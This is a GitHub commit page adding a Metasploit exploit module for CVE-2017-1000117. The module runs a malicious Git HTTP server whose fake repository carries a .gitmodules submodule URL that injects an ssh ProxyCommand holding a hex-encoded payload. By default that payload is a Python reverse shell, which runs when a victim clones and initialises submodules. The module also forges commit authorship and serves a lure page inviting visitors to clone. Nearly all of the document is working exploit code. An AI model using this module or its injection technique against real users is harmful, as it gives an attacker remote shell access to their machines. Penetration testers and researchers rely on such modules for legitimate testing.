Skip to content

Commit 7881a7d

Browse files
committed
git submodule command exec
1 parent 4315c2d commit 7881a7d

File tree

1 file changed

+191
-0
lines changed

1 file changed

+191
-0
lines changed
Lines changed: 191 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,191 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpServer
10+
11+
def initialize(info = {})
12+
super(update_info(
13+
info,
14+
'Name' => 'Malicious Git HTTP Server For CVE-2017-1000117',
15+
'Description' => %q(
16+
This module exploits CVE-2017-1000117, which affects Git
17+
version 2.7.5 and lower. A submodule of the form 'ssh://' can be passed
18+
parameters from the username incorrectly. This can be used to inject
19+
commands to the operating system when the submodule is cloned.
20+
21+
This module creates a fake git repository which contains a submodule
22+
containing the vulnerability. The vulnerability is triggered when the
23+
submodules are initialised.
24+
),
25+
'License' => MSF_LICENSE,
26+
'References' =>
27+
[
28+
['CVE', '2017-1000117'],
29+
['URL', 'http://seclists.org/oss-sec/2017/q3/280' ]
30+
],
31+
'DisclosureDate' => 'Aug 10 2017',
32+
'Targets' =>
33+
[
34+
[
35+
'Automatic',
36+
{
37+
'Platform' => [ 'unix' ],
38+
'Arch' => ARCH_CMD,
39+
'Payload' =>
40+
{
41+
'Compat' =>
42+
{
43+
'PayloadType' => 'python',
44+
}
45+
}
46+
}
47+
],
48+
],
49+
'DefaultOptions' =>
50+
{
51+
'Payload' => 'cmd/unix/reverse_python'
52+
},
53+
'DefaultTarget' => 0))
54+
55+
register_options(
56+
[
57+
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
58+
]
59+
)
60+
end
61+
62+
def setup
63+
@repo_data = {
64+
git: { files: {} },
65+
}
66+
setup_git
67+
super
68+
end
69+
70+
def setup_git
71+
# URI must start with a /
72+
unless git_uri && git_uri =~ /^\//
73+
fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
74+
end
75+
76+
payload_cmd = payload.encoded + " &"
77+
payload_cmd = Rex::Text.to_hex(payload_cmd, prefix = '%')
78+
79+
gitmodules = "[submodule \"test\"]
80+
path = test
81+
url = ssh://-oProxyCommand=#{payload_cmd}/
82+
"
83+
sha1, content = build_object('blob', gitmodules)
84+
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
85+
86+
tree = "100644 .gitmodules\0#{[sha1].pack('H*')}"
87+
tree += "160000 test\0#{[sha1].pack('H*')}"
88+
sha1, content = build_object('tree', tree)
89+
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
90+
91+
## build the supposed commit that dropped this file, which has a random user/company
92+
email = Rex::Text.rand_mail_address
93+
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
94+
full_name = "#{first.capitalize} #{last.capitalize}"
95+
tstamp = Time.now.to_i
96+
author_time = rand(tstamp)
97+
commit_time = rand(author_time)
98+
tz_off = rand(10)
99+
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
100+
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
101+
"\n" \
102+
"Initial commit to open git repository for #{company}!\n"
103+
104+
sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
105+
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
106+
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
107+
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
108+
end
109+
110+
# Build's a Git object
111+
def build_object(type, content)
112+
# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
113+
header = "#{type} #{content.size}\0"
114+
store = header + content
115+
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
116+
end
117+
118+
# Returns the Git object path name that a file with the provided SHA1 will reside in
119+
def get_path(sha1)
120+
sha1[0...2] + '/' + sha1[2..40]
121+
end
122+
123+
def exploit
124+
super
125+
end
126+
127+
def primer
128+
# add the git and mercurial URIs as necessary
129+
hardcoded_uripath(git_uri)
130+
print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")
131+
end
132+
133+
# handles routing any request to the mock git, mercurial or simple HTML as necessary
134+
def on_request_uri(cli, req)
135+
# if the URI is one of our repositories and the user-agent is that of git/mercurial
136+
# send back the appropriate data, otherwise just show the HTML version
137+
if (user_agent = req.headers['User-Agent'] and user_agent =~ /^git\// && req.uri.start_with?(git_uri))
138+
do_git(cli, req)
139+
return
140+
end
141+
142+
do_html(cli, req)
143+
end
144+
145+
# simulates a Git HTTP server
146+
def do_git(cli, req)
147+
# determine if the requested file is something we know how to serve from our
148+
# fake repository and send it if so
149+
req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
150+
if @repo_data[:git][:files].key?(req_file)
151+
vprint_status("Sending Git #{req_file}")
152+
send_response(cli, @repo_data[:git][:files][req_file])
153+
else
154+
vprint_status("Git #{req_file} doesn't exist")
155+
send_not_found(cli)
156+
end
157+
end
158+
159+
# simulates an HTTP server with simple HTML content that lists the fake
160+
# repositories available for cloning
161+
def do_html(cli, _req)
162+
resp = create_response
163+
resp.body = <<HTML
164+
<html>
165+
<head><title>Public Repositories</title></head>
166+
<body>
167+
<p>Here are our public repositories:</p>
168+
<ul>
169+
HTML
170+
this_git_uri = URI.parse(get_uri).merge(git_uri)
171+
resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
172+
resp.body << <<HTML
173+
</ul>
174+
</body>
175+
</html>
176+
HTML
177+
178+
cli.send_response(resp)
179+
end
180+
181+
# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
182+
def git_uri
183+
return @git_uri if @git_uri
184+
if datastore['GIT_URI'].blank?
185+
@git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
186+
else
187+
@git_uri = datastore['GIT_URI']
188+
end
189+
end
190+
191+
end

0 commit comments

Comments
 (0)